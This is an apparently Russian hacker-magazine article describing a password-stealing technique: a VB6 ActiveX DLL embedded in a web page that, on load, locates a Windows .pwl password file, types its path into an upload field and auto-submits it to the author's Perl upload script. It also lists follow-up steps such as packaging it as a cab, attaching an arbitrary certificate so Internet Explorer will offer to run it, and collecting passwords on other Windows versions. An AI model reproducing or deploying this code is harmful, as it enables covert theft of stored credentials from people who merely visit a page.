Прива люди идущие по X-Дороге.
Помните статейку про то, как загрузить
файл через web? Это продолжение! К сожалению
скрипт продан (просьба не задавать вопросов
по поводу: кому, зачем, по какой цене, и т.д.)…..но
покупатели разрешили мне описать основные
принципы его работы %)
Что нам нужно?
При условии, что вы уже накидали скрипт на
perl, то нужно только VB 6. Итак, за дело. При
выборе, что создать… давим на DHTML (ActiveX DLL).
Убиваем модуль (он нам не нужен!). В DHTMLPage
делаем form на подобии прошлой html. Создаём
FileUpload (имя ей будет FileUpload1) и SubmitButton (имя ей
будит SubmitButton1). Дальше вы сами думайте как с
HTML извратиться! Открываем код и пишем
следующее:
Private Sub DHTMLPage_Load()
Dim a As String ‘Создаём переменную типа строка
Dim WinDir As String ‘Создаём переменную типа
строка
WinDir = "c:\windows\" ‘присваиваем переменной
директорию Мастдая
a = Dir(WinDir + "*.pwl") ‘ищем первый
попавшийся pwl
FileUpload1.focus ‘переводим фокус на поле FileUpload
SendKeys (WinDir + a) ‘ имитируем ввод с клавы
SubmitButton1.Click ‘ нажимаем кнопку
End Sub
P.S. Чтобы узнать сведущее имя файла, просто
вызывайте следующее:
a = Dir
Дальше лезем в тулс-> Package & Deployment Wizard и
в нём делаем cab. Я многое ещё дописал, это и
стоит полученных мною денег, а вам придется
самим подумать, как все обставить. Что
вам ещё нужно?
Перечисляю:
- Получать директорию МастДая в WinDir
- Склеивать все файлы в один архив (для
этого вам придется подключить
библиотеку архивации) - Различать WinNT и Win9x
- Самое главное: подклеить любой
сертификат к каб файлу чтобы IE хотя бы
спрашивал, запустить ActiveX DLL или нет (по
умолчанию в IE неподписанные cab не
запускаются!) - Сделать так, чтобы пароли дыбались с
других осей.
Ну вот и все. Извиняюсь, что не могу
выложить полный скрипт!
